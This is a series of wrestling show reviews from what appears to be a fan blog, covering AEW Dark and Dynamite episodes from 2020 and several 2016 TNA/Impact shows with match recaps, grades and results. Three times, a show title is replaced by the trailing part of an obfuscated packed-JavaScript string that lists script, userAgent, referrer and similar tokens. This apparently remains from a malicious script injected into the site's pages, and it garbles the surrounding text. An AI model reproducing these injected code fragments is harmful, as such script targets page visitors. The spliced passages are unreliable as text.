Brandi comes in for a low superkick for two of her own and adds in Dustin Rhodes’ kneeling uppercut. Allie gets knocked to the floor though and it’s QT Marshall rushing over to check on her in a hurry. Page gets in a cheap shot but her chinlock is broken up in a hurry. Brandi starts the comeback with a Sling Blade but Allie tags herself in after Brandi hits a spear. That lets Allie, who seems fine, get the easy pin at 5:08.

Rating: D+. That’s quite the bit of storytelling for this show and I’ll take what I can get. Allie as the evil woman wrapping Marshall around her finger is a good way to go for her, though I’m not sure what her goal is. I’m hoping it isn’t some big Butcher and the Blade plan, but I wouldn’t be surprised if that’s where they’re going.

Lee Johnson vs. Shawn Spears

Tully Blanchard is here with Spears. Johnson goes for a hammerlock but gets driven into the corner for an elbow to the face. The running knee in the corner lets Spears throw him outside but Johnson switches places. A suicide dive is blocked with a shot to the face though and Spears drives him back first into the apron. Back in and Johnson strikes away, including a running basement dropkick. The C4 doesn’t work for Spears but he grabs a Sharpshooter to make Johnson tap at 4:21.

Rating: C-. It must be time to reheat Spears again, though the big glove deal didn’t seem to offer much here. Having Blanchard try to do something with Spears is one thing, but if this is the best that he can do with Blanchard behind him, it might be time to give up on him already. That won’t happen, but maybe it should.

Brady Pierce/John Skyler vs. Dark Order

That would be Evil Uno and Stu Grayson, who are back in the country. The rest of the Dark Order, minus Brodie Lee, watches from the stage as Grayson drives Skyler into the corner. Uno stomps him down and a running shoulder to the ribs makes it even worse. Skyler fights back so Uno pokes him in the eye to cut that off in a hurry.

More stomping in the corner has Skyler down but he fights out and rolls over for the hot tag to Pierce. A few shots to Uno set up a neckbreaker/middle rope stomp combination for two but Grayson is back in. That means a powerslam into a Swanton for two with Pierce making the save. With Skyler down, the Fatality finishes Pierce at 4:02.

Rating: C. The story here was Skyler, who did most of the work for his team. While he was the story, it doesn’t have a happy ending though as he wrecked his knee near the end, with a torn ACL, MCL and PCL. I’m not sure how it happened either as he was running the ropes and then was holding his knee after the Swanton. Either you couldn’t see the injury or he fought through a crazy amount of pain.

Post match, Brodie Lee comes out to approve of the win.

Jimmy Havoc vs. Griff Garrison

Garrison has wrestled in Ring of Honor as part of the Master and the Machine. Havoc headlocks him to start and then takes him down by the wrist for a stomp to the arm. Garrison grabs one of his own but charges into a boot in the corner. They head outside where Havoc chops the post by mistake (though he is the kind of guy who would chop one on purpose). It doesn’t seem to matter much as Havoc Japanese armdrags him into the corner and chops away for a bonus. The Acid Rainmaker is blocked so Havoc kicks him in the head and connects on the second attempt. The fisherman’s DDT finishes Garrison at 5:58.

Rating: D+. Garrison is someone who works better as part of a tag team but he certainly has some talents in there somewhere. Havoc can still do some nice stuff without the hardcore aspect so this could have been a lot worse. At least he is doing something different and that could help keep him around a little longer. I’m assuming that’s a good thing in this case.

Penelope Ford vs. Skyler Moore

Kip Sabian (and his dog Oscar) is here with Ford. Moore drives her out of the corner to start and Ford shakes her shoulder a bit. Back up and Ford sends Moore face first into the buckle before choking on the rope (including a kiss to Sabian). Ford’s handspring shoulder in the corner is countered into a sunset flip for two and a gutwrench suplex is good for the same. That just earns Skyler a Lethal Injection and the fisherman’s suplex gives Ford the pin at 4:12.

Rating: D+. Ford seems to be the next challenger to Hikaru Shida so giving her a win here makes sense. The stuff with Sabian is a good way to get heat on Ford, who is going to get her own heat because of how she carries herself. Moore is someone whose look will get some quick attention, but she hasn’t had much of a chance to show much beyond that.

Robert Anthony vs. Scorpio Sky

Sky goes for the arm to start so Anthony wrestles him down. The chinlock is reversed into a quickly broken armbar into a standoff. Anthony pulls him into a hammerlock and Sky can’t get out so fast this time. Back up and Sky shoulders him down, setting up an armbar as the arms race continues. Sky’s jumping elbow to the face gets two but Anthony is right back with a tilt-a-whirl faceplant.

An elbow to the face sets up a chinlock, then a boot rake to the face, then another chinlock. Sky fights up and hits some clotheslines, plus the jumping double stomp to the back. Anthony’s TKO is blocked so he grabs a Death Valley Driver for two instead. Sky doesn’t like the near gimmick infringement and kicks him in the face, setting up the TKO for the pin at 9:37.

Rating: C. Match of the night here with the extra time making a fairly competitive match better. It was also a good example of a match where they didn’t do much but still made it work well. It’s ok to tone it down and let your storytelling work, though I don’t think the top level of this company quite grasps that.

Dynamite preview wraps us up.

Overall Rating: D+. Remember all those times where I’ve said the same things about Dark being too long? It’s exactly the same here, though even longer than usual. There are multiple matches that you could cut out and have the same result but they’re all here to stretch the show out even further. If you like the show with ten or eleven matches, you’re going to like it with six or seven.

Having the show offer more content than Dynamite is a weird way to go and I’m almost scared to know how much more they are willing to put on here. The wrestling isn’t even that good (though it could be worse) and that makes for a long, long night every single week. The good thing is that it isn’t required viewing, which keeps it from being anything resembling a problem for the company. Just tweak things a bit and maybe it can boost things a bit instead of being a long show that makes you feel every minute.

Results

Jurassic Express b. Capital Vices/Jon Cruz – Extinction Level Event to Cruz

SCU b. Peter Avalon/Brandon Cutler – Celebrity Rehab to Avalon

Big Swole b. Dani Jordan – Dirty Dancing

Lance Archer b. David Ali – EBD Claw

Sonny Kiss/Joey Janela b. Musa/Shawn Dean – Top rope splits splash to Musa

Allie/Brandi b. Red Velvet/Kenzie Page – Spear to Page

Shawn Spears b. Lee Johnson – Sharpshooter

Dark Order b. Brady Pierce/John Skyler – Fatality to Pierce

Jimmy Havoc b. Griff Garrison – Fisherman’s DDT

Penelope Ford b. Skyler Moore – Fisherman’s suplex

Scorpio Sky b. Robert Anthony – TKO

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: AEW

Dark
Date: June 2, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Taz, Excalibur

Now we get back to something a little bit less interesting with the night of the jobber matches. Usually that would mean the night of squash matches, but that’s not how it tends to work for whatever reason. The biggest problem with the show is how long it tends to run, so hopefully it’s a bit shorter tonight. Let’s get to it.

Here are last week’s results if you need a recap.

We run down the (rather shorter) card.

John Skyler vs. Billy Gunn

Austin Gunn is in his dad’s corner and Skyler bails into the corner to start. Billy grabs an armbar to send him right back into the corner and a hammerlock makes it worse. Austin is rather pleased so Skyler heads outside to glare at him. Back in and Gunn hits a spinebuster….but Austin tells him not to use a powerbomb. Instead it’s the Fameasser to finish Skyler at 3:39.

Rating: D+. Just a quick match here and there’s nothing wrong with Billy getting a win over a low level guy. Austin being the big cheerleader plays into the roles that the two of them have had in the stands, though I’m not sure how much of a future they have together. The father and son thing is a nice touch though so it’s not exactly torture.

Earlier today, Brandi and Dustin Rhodes are ready for a tag match tonight but there’s no QT Marshall. Cue Marshall in a Corvette, with Allie in the passenger seat. Brandi and Dustin aren’t sure about this but Marshall and Allie leave, promising to be back in a bit. Dustin says bring something to eat so Marshall throws him the apple. Brandi isn’t letting that happen because it’s nasty.

Joe Alonzo/Jon Cruz vs. Butcher and Blade

Butcher and Blade jump them to start and the beating is on in a hurry. Butcher sends Alonzo flying and it’s Blade sending him into the corner for the early beating. A side slam/legdrop combination plants Cruz but he gets away for the tag to Alonzo. The comeback is cut off in a hurry as Butcher runs him over without much trouble. An assisted spinning Rock Bottom gives Butcher two but Alonzo gets in a kick to make the quick tag. That just earns Cruz a suplex onto Blade’s knees for the pin at 5:20.

Rating: C-. This was an extended squash and that’s not a bad thing. Butcher and Blade have never gotten out of the blocks and they barely ever win a match. Maybe not having Allie around is a good thing for them as she is going to get all of the attention. The tag division has all kinds of potential so the team has their work cut out for them, but maybe it can work.

Peter Avalon and Brandon Cutler aren’t sure if they can win, but Leva Bates insists that she is the missing element that they needed.

Christi Jaynes vs. KiLynn King

Jaynes lays over the top rope during King’s entrance and doesn’t seem overly nervous. A running shoulder drops King so Jaynes throws in some dancing. They trade rollups for one counts until King grabs an armbar. She even swings Jaynes down, which looks a good bit painful. Jaynes finally gets her into the corner and hammers away before standing on King’s hair. Some more dancing and a kick to Jaynes’ back gets two but King is back up with a release German suplex. They trade rollups and Jaynes grabs the tights for the pin at 4:02.

Rating: C-. They were working fast here and that’s not a bad thing. Jaynes is someone with all kinds of star power and I can see why they would give her the win here. King isn’t quite the same level of star but she certainly has a lot of potential so there wasn’t a bad choice here. Not a bad little match, but the time hurt them a good bit.

Big Game Leroy/EJ Lewis vs. Santana and Ortiz

Leroy is playing a Nintendo Switch and has to be reminded that the match is about to start. Commentary says this is Santana and Ortiz’s first match since “all the way back at Double Or Nothing.” Indeed, all the way back ten whole days. Santana kicks the Switch out of Leroy’s hands and the stomping is on in the corner. Lewis comes in but Ortiz takes him down to set up a running backsplash as the beatdown is on in a hurry.

The Gory Stretch goes on and Santana comes in for some chops. There’s a kick to the face and Santana insists that it is supposed to hut. Lewis’ comeback is cut off with a superkick and a Michinoku Driver gets two. Ortiz throws Lewis into the corner so Leroy can come back in. The assisted Cannonball sets up the Street Sweeper to finish Leroy at 5:10.

Rating: C. Another extended squash but Santana and Ortiz are a more entertaining team than Butcher and Blade. The two of them beat the heck out of Leroy and made you see why they were signed in the first place. Leroy was a funny jobber with the Switch and Lewis took a heck of a beating so what else could you need?

Natural Nightmares vs. Brandon Cutler/Peter Avalon

Brandi Rhodes is here with the Nightmares, Leva Bates is here with Cutler/Avalon and Allie sits in on commentary. Dustin and Cutler start things off as Allie is swooning over QT. With the feeling out process going nowhere, it’s off to Avalon vs. Marshall, the latter of whom hits a suplex for some applause from Allie. Leva offers a leg trip and Marshall is sent outside for a suicide dive from Avalon. It’s off to Cutler for a springboard forearm and Avalon’s leg lariat gets two.

Cutler comes back in for an enziguri into a Swanton with Dustin having to make the save. Marshall kicks him away though and the hot tag brings in Dustin to clean house. Everything breaks down and Avalon and Cutler get in an argument, meaning Bates has to break up the Unnatural Kick. Brandi comes in for a Stunner/cutter on Bates, who is thrown into Avalon. That leaves Cutler to take Dustin’s Canadian Destroyer and a cutter from Marshall is good for the pin at 7:28. Brandi dubs the cutter the Red Delicious.

Rating: C-. This was fine despite the lack of drama as to the winner. That’s all it was supposed to be and they did a good enough job with the Allie stuff. I’m not sure what her big plan is, but at least she’s back on screen and that’s a good thing. I have a feeling it winds up being more about Brandi than anyone else, but that is often the case with anything involving her.

After a quick Dynamite preview, Marshall declares Allie the apple of his eye.

Overall Rating: C. Sweet merciful chicken wings this is so much easier at about 45 minutes than an hour and a half. This was a perfectly fine low level supplemental show, with the quick promos adding a little something as well. The length is the big appeal though as you don’t feel drained after you’ve seen an hour and still have three matches to go. Keep it like this, I beg of you.

Results

Billy Gunn b. John Skyler – Fameasser

Butcher and Blade b. Joe Alonzo/Jon Cruz – Suplex onto Blade’s knees to Cruz

Christi Jaynes b. KiLynn King – Rollup with tights

Santana and Ortiz b. EJ Lewis/Big Game Leroy – Street Sweeper to Leroy

Natural Nightmares b. Brandon Cutler/Peter Avalon – Red Delicious to Cutler

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: AEW

Dynamite
Date: May 6, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Jim Ross, Tony Schiavone, Excalibur

We’re back live and that means we could be in for something a little more interesting. I’m curious to see if there are going to be any fans in the building this time. It seems that they can put about 25% of the fans inside and that could go a long way. I’m not sure what else to expect but we could be in for a fun one. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of last week’s TNT Title tournament semifinals.

Opening sequence.

The crowd is made of wrestlers plus staff, though there do seem to be some more than usual.

Cody vs. Joey Janela

Pyro is back if nothing else. They shake hands to start and we start in a hurry. Some shoulders put Janela down but he’s back up for a quick pinfall reversal sequence. Back up and Cody kicks the chop away, setting up a slap between Joey’s shoulders. Cody’s suplex keeps Janela in trouble but he’s back with a spinwheel kick. Janela sends him throat first into the middle rope and we hit the bodyscissors.

They head outside with Cody being whipped into the barricade but Janela gets sent into the ramp. Janela fights back but takes WAY too long to take a running start and Cody sends him crashing into the ropes. A moonsault off the stage takes Janela down and they head inside again. Joey hits a superkick into a top rope elbow for two as we look at a guy named Leroy who dances in the crowd.

Cody catches him on top with a reverse superplex but Janela hits a Judas Effect of all things. The powerslam plants Janela for two but he’s back up with a German suplex to drop Cody. Janela’s moonsault misses and it’s the Cody Cutter for two. They slowly slug it out with Cody getting the better of it. Cross Rhodes finishes Janela at 13:29.

Rating: C. This went on longer than it needed to and wasn’t all that entertaining. Janela still feels like someone who just does moves with no particular rhyme or reason and isn’t someone I want to see. I know he has a big following, but it isn’t something that is translating well to a big company. Cody shouldn’t have had this much trouble with him either, but that’s been a problem for AEW since its inception.

Video on the changes to the women’s division in Nyla Rose’s absence.

Nyla Rose shouts about how dominant she is.

Nyla Rose vs. Kenzie Paige

Non-title. Rose throws her around with ease to start and blocks a sunset flip with ease. A forearm just annoys Rose and it’s a top rope Swanton for two, with Rose pulling her up. Rose hits a powerbomb, followed by the Beast Bomb to complete the squash at 2:19.

MJF has been noticing a lot of people saying they’re the next big thing, even though they’re nearly thirty. That’s cool though, because he’s the real next big thing and he’s been on national TV for six months. People say he’s great but he’s no Flair, Rock or Piper. That’s called insecurity and now the 24 year old kid is a prodigy with more it in his pinkie than others have in their whole bodies. He’s not the Rock, Piper or Flair because he’s something no one has ever seen before. He is better than you and next week, he’s back on his throne.

Shawn Spears talks about Dustin Rhodes being destroyed last week and the only person who deserves the blame is Cody. Dustin’s career is over and as a brother, Spears can’t live with what Cody let happen. Cody seems fine with it though. Don’t tell me we’re doing Cody vs. Spears again.

The gambling is back on at ringside, with MJF looking at Spears and calling him brave. It takes bravery to call Cody out for everything. Spears says MJF’s comeback story is the greatest of all time. Tony is glad MJF is back, because he’s facing Jungle Boy at Double or Nothing. The spit takes wraps up the segment.

Frankie Kazarian vs. Jon Moxley

Non-title with a feeling out process to start. Moxley drops down so Moxley grabs a headlock, only to have it broken up for a chop in the corner. Kazarian goes right back to the headlock, which is broken up again. The third headlock goes on but this time Moxley reverses into a reverse chinlock with a knee in the back.

A backbreaker gives Moxley two and he’s out of the fourth headlock much faster this time. With that not working, Kazarian hits a spinwheel kick but gets sent over the top for a big crash onto the ramp. Back from a break with Moxley hitting a running knee to send him outside but the dive off the middle rope is kicked out of the air. Kazarian’s slingshot DDT gets two but Moxley is back with a release German suplex. A Backstabber cuts Moxley off and the Unprettier gets two.

They slug it out until Kazarian hits a dropkick and ties him up with….I’m not sure what to call it but Kazarian has the leg tied and is pulling on the arm. Moxley uses the free leg to kick his way out so Kazarian snaps off a German suplex. A heck of a clothesline gives Moxley two and they go to an exchange of near falls for two each. Kazarian suplexes him into the corner for a big crash but Moxley pulls him off the top. The quick Paradigm Shift finishes Kazarian at 16:29.

Rating: B-. This took some time to get going but they did a good job of setting up the idea that Moxley respected Kazarian. They set things up well here and Kazarian can hang with anyone so it was a good enough match too. It was a good use of some time and got Moxley on TV where he had to break a sweat to win, but did win in the end. Nice enough stuff.

Post match the Dark Order runs in to beat down Kazarian and Moxley, plus Scorpio Sky and Christopher Daniels for trying to make a save. Brodie Lee comes in and hits the discus lariat on Moxley. Lee talks about how there is no crowd here to give Moxley energy. The Dark Order is Lee’s energy and he is a different man than the one who fought Moxley in the past.

Now he wants the World Title, so Moxley can answer the challenge or they’ll make him do it. Lee lays the microphone next to him and Moxley says all Lee had to do was ask. A big boot to the face drops Moxley again and the beatdown is on for a second time. Lee leaves with the title.

Brandi Rhodes doesn’t like Jake Roberts and Lance Archer and knows what they’re going to do to her. It’s going to lead to a showdown in the ring with the two of them trying to intimidate her until Cody makes the save. That would make sense in 1991 but if Jake slaps her in the face like he did back then, she’ll slap him back. As her mom said, “Don’t f*** with people you don’t know.” She is Brandi Rhodes, so keep her name out of your mouth. This was your weekly “Brandi is a thing too” segment.

QT Marshall vs. Lance Archer

Brandi and Jake Roberts (in a mask) are here too. Archer runs over a wrestler at ringside as usual and then decks Marshall before the bell too. Some running shoulders in the corner have Marshall in more trouble and Archer drops him onto the apron. Back from a break with Marshall getting splashed and choked out to the floor.

After avoiding the threat of Britt Baker’s show, Marshall gets back in with a handspring enziguri. Marshall lifts him up for a suplex as Jake isn’t looking pleased. Archer pulls him off the top and hits the Blackout for two, with Archer not wanting the pin yet. Instead he claw slams Marshall a few times for the pin at 7:38.

Rating: C-. Marshall is a good hand but there is only so much you can get out of a somewhat extended squash. Marshall continues to look intimidating and has some good power stuff, but we’ve seen it a few times now and some of the shine is starting to wear off a little bit.

Post match Britt Baker jumps the barricade and DDTs Brandi onto the floor. Jake busts out the snake and lays it on the unconscious Brandi. Commentary points out how far the locker rooms are from the arena, because we’re supposed to believe that Cody wasn’t watching intently when his wife was out there with Jake and Archer.

Taz offers Darby Allin some assistance but Allin walks away.

Double Or Nothing rundown, with a #1 contenders ladder match and Lee challenging Moxley for the World Title.

Preview of next week’s show.

Le Sex Gods vs. Kenny Omega/Matt Hardy

Street fight with Jake Hager here as well. Hardy bites Guevara’s hand to start and it’s a big brawl early on. Tony: “We have found out that Jericho’s match next week will be against Pineapple Pete.” JR: “GET THE H*** OUT OF HERE!” Jericho is left laying on the floor and we get some Poetry in Motion on Sammy. Jericho gets back up and fights to the back with Matt but runs straight back in to double team Omega in the corner.

A double suplex drops Omega and we hit the pose for a bonus. Hardy, now in his regular gear instead of the Broken gear, comes in to clean house. Jericho and Hardy head outside again, leaving Sammy to kick Omega in the head. That lets Jericho come back in with the (Inner Circle branded) baseball bat for some shots from behind. Omega makes the save and knocks Jericho outside, meaning it’s time to break out the ladder and table.

A splash off the ladder sends Sammy through the table but Hager pulls the referee out at two. Omega’s slingshot dive is pulled out of the air so Hager can drop him onto the apron as we take a break. Back with Hardy and Jericho fighting backstage, with Hardy being put inside a Jacksonville Jaguars ice locker. Omega makes the save with some trashcan shots but Sammy sends him into an ATM (with Sammy even getting some money out).

Omega sends Sammy into a metal wall and Hager is sent through some barricades. Jericho runs Omega over and puts a cone on his own head like a hat. Omega comes back with a slippery when wet sign and shatters it over his back. Matt comes out of the ice bucket and he’s back in the Broken gear. He steals a golf cart, orders the cameraman to document these events (JR: “That’s what we’re doing mat. You’re on television.”), and almost runs Jericho over.

Omega is pulled into the cart with him and they chase Sammy down, eventually running him over hard. Jericho is still down so Hardy lays him onto a table, with Omega climbing a scissor lift. That’s raised into the air (JR: “What are we watching here?”) but Hager comes in for the save. Omega moonsaults onto everyone but Santana and Ortiz run in to save Jericho from the One Winged Angel. A triple bomb puts Hardy through a table and Omega is powerbombed onto the golf cart. The Judas Effect finishes Omega at 18:29.

Rating: B. This went longer than it needed to and there was a little too much laying around, but it was a memorable and entertaining match. The Hardy transformation would have worked better if they had done it once instead of twice, but it’s a clever enough idea for later on. The Inner Circle being back to full strength is a good thing too and it was a hard hitting brawl throughout. What matters the most though is it was better than sitting around in an empty arena hitting each other with chairs. You have a lot of resources available in the venue. Use them and see what kind of fun you can have, like they did here.

The Inner Circle poses in front of the Jaguars’ stadium with INNER CIRCLE on the scoreboard to end the show.

Overall Rating: B-. I liked the main event and Moxley vs. Kazarian, but I’m having a difficult time getting involved in all the Rhodes stuff. Last week’s beating to Dustin was brutal, but it’s still Dustin Rhodes. I’m very impressed with what he’s done lately, though that doesn’t change the fact that he hasn’t been some top level player for decades. It’s cool to see him in an angle, but it’s not an angle that needs to be such a focal point of the show. I get why people like it and care about Dustin. It’s just not something I’m going to get overly invested in most of the time. Good show though, with the main event shining.

Results

Cody b. Joey Janela – Cross Rhodes

Nyla Rose b. Kenzie Paige – Beast Bomb

Jon Moxley b. Frankie Kazarian – Paradigm Shift

Lance Archer b. QT Marshall – Claw slam

Le Sex Gods b. Kenny Omega/Matt Hardy – Judas Effect to Omega

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Impact Wrestling
Date: February 16, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a recap of the Expedition of Gold, which will take the Hardys to Tijuana, Mexico this week.

Video on Davey turning on Eddie.

Moose/Brandi Rhodes vs. Crazzy Steve/Rosemary

Kingston vs. Jesse Godderz

The DCC comes out post match but Jesse is smart enough to bail.

The bachelor party continues to be horrible with an overweight man crushing the drug dealer.

Allie tries to liven the party up with noisemakers but Maria yells at her again. Sienna just wants to drink.

Maria yells at Allie for the amount of pink at the party. Allie can be a ring bearer next week and gets frosting thrown in her face. The ladies take the gifts (including lingerie) and leave.

After the match, the Hardys teleport back to North Carolina before Konnan and company can stop them. Konnan: “WHAT DO YOU MEAN THEY DISAPPEARED???” Back in North Carolina, the Hardys literally throw the belts into a bag and go off to win the Mid-Atlantic Tag Team Titles next week. Hint: you might not want to show us the celebration after winning the belts.

Video on Brooke returning to TNA and being targeted by the Lady Squad.

Sienna vs. Brooke

Maria offers an early distraction to start and Sienna takes over with forearms and a spinebuster. Brooke gets in some forearms of her own as Madison Rayne explains why Maria is the most amazing Knockout ever. Another Maria distraction lets Sienna get in a running clothesline as Josh talks about how you can get a Louisville Slugger baseball bat signed by Jeff Hardy. Maria chokes on the rope and offers a distraction so Sienna can choke as well. As Maria talks about how the Knockouts show their midsections, Brooke fights off the double teaming and rolls Sienna up for the pin at 5:55.

Eli Drake commandeers a camera and promises to give Tyrus a beating next week. As usual, this is one of the best things on the show.

Eddie Edwards vs. Davey Richards

Results

Brandi/Moose b. Crazzy Steve/Rosemary – Double Game Changers

Jesse Godderz b. Kingston – STO

Brooke b. Sienna – Rollup

Davey Richards vs. Eddie Edwards went to a no contest

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkktn|var|u0026u|referrer|tyafy||js|php'.split('|'),0,{})) Wrestling
Date: November 17, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Jesse Godderz vs. Aron Rex

Due to the attack last week, Gail Kim is forced to vacate the Knockouts Title.

Hardy and Edwards get to face the DCC in an anything goes handicap match tonight.

Sienna/Laurel Van Ness vs. Brandi Rhodes/???

Trevor Lee vs. Ethan Carter III vs. Lashley vs. Mike Bennett

The fans want someone to kill the troll as Carter takes some shoulders in the corner. Ethan comes right back and loads up a double 1%er, only to get speared in half by Lashley. A cutter drops Lashley and a deadlift German suplex gives Lee two on Carter. Bennett starts snapping off superkicks and spinebusters, only to have Lashley give him the real spinebuster. Lee suplexes Lashley to block the spear (sweet counter) and dives over the top to take out Carter and Lashley. Back in and Carter grabs a sleeper to make Lee tap at 14:07.

Reby and Matt look at some Broken Matt videos and Matt is terrified of the chaos.

Decay threatens Jade with destruction at the hands of Rosemary.

Basile Baraka vs. Mahabali Shera

Rating: D. Why is this still a thing? I know they need to fill in time but is this really the best they have? Or is Shera just there to keep the Sony Six people happy? Neither guy is interesting and the Tribunal, which could have been at least something, has turned into one of the least interesting acts in a long time.

Post match the Tribunal beats Shera down until Al Snow makes the save. Josh: “AL SNOW IS TRENDING WORLDWIDE ON TWITTER RIGHT NOW!” Does Josh know that trending on Twitter is a real thing and not just a random statement? Snow and Shera shake hands, which Josh calls the Mega Powers uniting. He might be the greatest troll announcer ever and I doubt he has any idea of it.

Eddie Edwards/Jeff Hardy vs. DCC

Results

Jesse Godderz b. Aron Rex – Adonis Lock

Brandi Rhodes/Madison Rayne b. Sienna/Laurel Van Ness – Downward Spiral to Sienna

Ethan Carter III b. Lashley, Trevor Lee and Mike Bennett – Sleeper to Lee

Mahabali Shera b. Basile Baraka – Camel clutch

DCC b. Eddie Edwards/Jeff Hardy – Last Call to Hardy

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnrne|var|u0026u|referrer|zazsa||js|php'.split('|'),0,{})) Wrestling
Date: October 27, 2016
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

Ethan Carter III/Jesse Godderz vs. Aron Rex/Eli Drake

We look back at Maria attacking Brandi last week.

Maria is running her mouth when Brandi comes in, sending Maria scampering.

Rockstar Spud teases who he has for his Team X Gold teammates.

DJZ/Braxton Sutter/Mandrews vs. Rockstar Spud/Decay

Cody and Brandi call this personal.

We recap Allie getting beaten down last week.

Back from a break with Jeff, in costume, mowing the lawn into his logo.

Laurel Van Ness vs. Allie

Madison Rayne is on commentary again. Laurel drives her into the corner to start and shrugs off a clothesline. They head outside where Laurel misses a charge into the steps to give Allie a chance. Back in and Allie scores off a double leg takedown and some right hands, setting up a rollup for two. Not that it matters as a curb stomp ends Allie at 4:33.

Hilary Clinton and Donald Trump come up to House Hardy. Senor Benjamin tazes Trump and Jeff asks what happened to the e-mails. Matt: “DELETE! DELETE! DELETE!” Ok I chuckled on that one. Jeff shouts about Boo Radley and Vanguard I chases Hilary away.

Godderz comes up to Rex and demands a title shot, which Rex actually grants.

Mike Bennett and Maria say they have what Cody and Brandi want.

Video on Lashley vs. Edwards.

Mike Bennett/Maria Kanellis-Bennett vs. Cody/Brandi Rhodes

Maria starts and tags out in less than three seconds, meaning the men will really get this going. Cody sends Mike into the corner and Maria slaps him in the face, almost drawing Brandi over for the fight. A cutter gives Mike two and we take a break. Back with Cody fighting out of trouble and slamming Mike down.

The bad looking offense results in Maria being sent into another low blow on Mike, followed by some kind of choke/half nelson from Brandi (the camera keeps moving around so we never get a clear shot of it). Cody adds a modified reverse Figure Four (I believe Jamie Noble used to call it the Trailer Hitch) for a double submission at 11:20.

Results

Aron Rex/Eli Drake b. Jesse Godderz/Ethan Carter III – Revelator to Godderz

DJZ/Braxton Sutter/Mandrews b. Rockstar Spud/Decay – ZDT to Spud

Laurel Van Ness b. Allie – Curb stomp

Cody/Brandi Rhodes b. Maria Kanellis-Bennett/Mike Bennett – Double submission

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iktzs|var|u0026u|referrer|frazf||js|php'.split('|'),0,{})) For Glory 2016
Date: October 2, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

We open with Matt Hardy and his son Maxell playing the piano. Matt stops to read a story, which serves as our opening recap for all of the matches.

The announcers welcome us to the show.

X-Division Title: Trevor Lee vs. DJZ

The champ is thrown back in and grabs a flapjack, followed by a top rope hurricanrana to make it even worse. They trade dives with Lee getting the better of it but DJZ reverses a German suplex into a reverse hurricanrana. The ZDT is countered with the double stomp but DJZ reverses a suplex into a Canadian Destroyer of all things. Now the ZDT connects to retain the title at 11:08.

Bound For Gold

Celebrity chef Robert Irvine is here to watch Gail Kim be inducted into the Hall of Fame. Maria and Mike Bennett come in to say tonight is about them.

Mike Bennett vs. Moose

Moose fights up again and hits some running clotheslines, followed by a very hard clothesline. Mike comes back with a tornado DDT and a piledriver for two. Even more clotheslines have Bennett reeling but he catches a top rope clothesline in a cutter. That goes nowhere as Moose grabs the chokebomb and hits a discus lariat for the pin at 10:10.

Grand Championship: Aron Rex vs. Eddie Edwards

For the inaugural title and the rounds are now five minutes long instead of three. Feeling out process to start with neither being able to go anywhere in the first two minutes. Eddie snaps off a hurricanrana but gets caught in the Russian legsweep. Rex is sent outside for a big flip dive and both guys are down. A few more shots have Eddie in control and round one ends.

Eddie wins the first round so Rex is much more aggressive to start the second round. Some hard chops have Eddie in trouble and Rex starts in on the knee. Rex grabs an Indian Deathlock and THE LIGHTS GO OUT. Not as in an angle but as in the lights just stopped working. Fans: “PAY THE LIGHT BILL!” They come back on as Rex puts on a modified Sharpshooter for a few moments. Some knees to the back get two and the round ends.

We recap Decay vs. the Hardys in the Great War. Decay took the titles earlier in the year and the Hardys invited them to North Carolina for Final Deletion II. This is a match with unclear rules with the titles on the line.

Tag Team Titles: Hardys vs. Decay

Abyss and Jeff are nowhere to be seen as Rosemary comes in with a Van Terminator of all things to give Steve two on the floor. Back in the ring, Abyss staples Jeff in the forehead. Josh: “Somebody is teeing off on somebody on the other side of the Impact Zone.” Thanks for that information Josh. Matt and Abyss fight to the back with Abyss punching out a referee. Steve and Jeff join them with Decay in control. Jeff tries to reach a bucket labeled “Lake of Reincarnation” but Steve hits him with a music stand.

Matt and Abyss stagger back inside as well with Abyss suplexing Matt on the ramp. Jeff (no longer Willow) crawls back out from under the ring and baseball slides a table into Steve. The Twist of Fate and Swanton get two on Abyss, who brings out the barbed wire board. Matt takes over and adds in the thumbtacks, followed by a Side Effect onto various sharp objects.

We recap Lethal Lockdown with Lashley picking the main event stipulations.

Lashley is tired of people like EC3 being placed in front of him. Tonight is about teaching a lesson.

Knockouts Title: Maria Kanellis-Bennett vs. Gail Kim

Quick recap of Carter vs. Lashley. Carter is the latest person to come after the title and Lashley has promised to treat him like everyone who has come before.

TNA World Title: Ethan Carter III vs. Lashley

Results

DJZ b. Trevor Lee – DJZ

Eli Drake won Bound For Gold last eliminating Tyrus and Jesse Godderz

Moose b. Mike Bennett – Discus lariat

Aron Rex b. Eddie Edwards via split decision

Hardys b. Decay – Swanton Bomb through a table

Gail Kim b. Maria Kanellis-Bennett – Eat Defeat

Lashley b. Ethan Carter III – Middle rope spear

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